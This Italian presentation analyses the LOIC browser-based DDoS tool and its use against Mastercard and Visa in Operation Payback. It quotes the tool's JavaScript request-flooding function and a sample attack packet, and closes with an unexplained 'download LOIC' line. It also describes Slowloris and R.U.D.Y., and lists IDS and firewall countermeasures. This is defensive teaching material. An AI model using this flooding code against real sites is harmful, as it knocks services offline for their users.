Analisi e contromisure del Tool
LOIC per attacchi DDoS
di Mattia Dal Ben
(info: [email protected])
Chi
Utilizzato dal gruppo di hacktivisti e
grey hat hacker Anonymous per
perpetrare attacchi DDoS nei confronti
di molteplici siti.
Quando
Operation Payback ( Dicembre 2010 ) fu utilizzato per
DDoSare i siti di
•Mastercard
•Visa
•Postfinance (Banca Svizzera)
Dati
•800 PC: necessari a DDoSare Mastercard
•1000 PC: per DDoSare Visa
•10 GB di dati al secondo: traffico generato
Conseguenze
Problemi ad utilizzare carte di credito e server down per
alcune ore.
Descrizione:
Il codice è interamente scritto in Javascript, facilmente
utilizzabile da chiunque perché eseguito direttamente dal
browser.
Gli hacktivisti postarono il sito su molteplici server e
proseguirono quindi a pubblicizzarlo sui social network.
Gli utenti simpatizzanti del movimento Anonymous formarono
quindi una botnet volontaria e, coordinati sempre attraverso si
social network, eseguirono materialmente l’attacco.
Il codice effettua delle HTTP GET (10 al secondo) di un
percorso immagine randomizzato verso il server vittima che
genera quindi un errore 404. La request prevede anche un
campo id e msg dove viene scritta la dichiarazione di intenti
dell'attacco.
var shoot1 = function ()
{
var targetURL = $('#target').val();
var msg = $('#msg').val();
var shootID = Number(new Date());
var resource = document.createElement('img');
resource.setAttribute('src',targetURL+arrayValue(targ
etURL,'target')+msg+'&ID='+Number(new Date()));
resource.setAttribute('onload','score_requested(
'+shootID+')');
resource.setAttribute('onabort','score_requested(
'+shootID+')');
resource.setAttribute('onerror','score_requested(
'+shootID+')');
resource.setAttribute('id',shootID);
$('#imgContainer').append(resource);
score_tail();
}
(JS-LOWC: HTTP request flooding)
Pacchetti generati dal tool:
GET /app/?id=1292337572944&msg=BOOM%2520HEADSHOT!
HTTP/1.1
Host: http://www.site.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;
en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=
0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Contromisure:
Regole Firewall ben scritte. In rete si trovano regole ad hoc
per i maggiori IDS presenti sul mercato (ad esempio
SNORT).
Tipicamente sfruttano il fatto che i campi id e msg sono
presenti e quindi basta filtrare il traffico che richiede un
grosso numero di connessioni al server avendo all’interno
delle sue richieste i campi id e msg.
Altrimenti è sufficiente individuare gli improvvisi picchi di
traffico generati dall’attacco stesso nelle sue prime fasi.
Si noti inoltre che il tool non maschera l’ip degli attaccanti
rendendoli quindi facilmente rintracciabili e perseguibili.
Slowloris
Slowloris prova a mantenere le connessioni aperte ad un
server web obiettivo e trattenerle aperte il più a lungo
possibile. Fa questo, aprendo le connessioni al server web
obiettivo e inviandogli richieste parziali. Periodicamente,
invierà le successive intestazioni HTTP, aggiungendo ma mai
completando la richiesta. I server attaccati terranno così le
connessioni aperte, riempiendo il loro numero di connessioni
disponibili, infine negando ulteriori tentativi di connessione dai
client.
R.U.D.Y. ( R-U-Dead-Yet ? )
Questo attacco ha come obiettivo le applicazioni web.
Questo tool le disabilita per mezzo dell'esaurimento delle
possibili sessioni. RUDY sospende le sessioni utilizzando dei
POST che non finiscono mai, inviando degli header che
segnalano un contenuto arbitrariamente grande.
Scarica

LOIC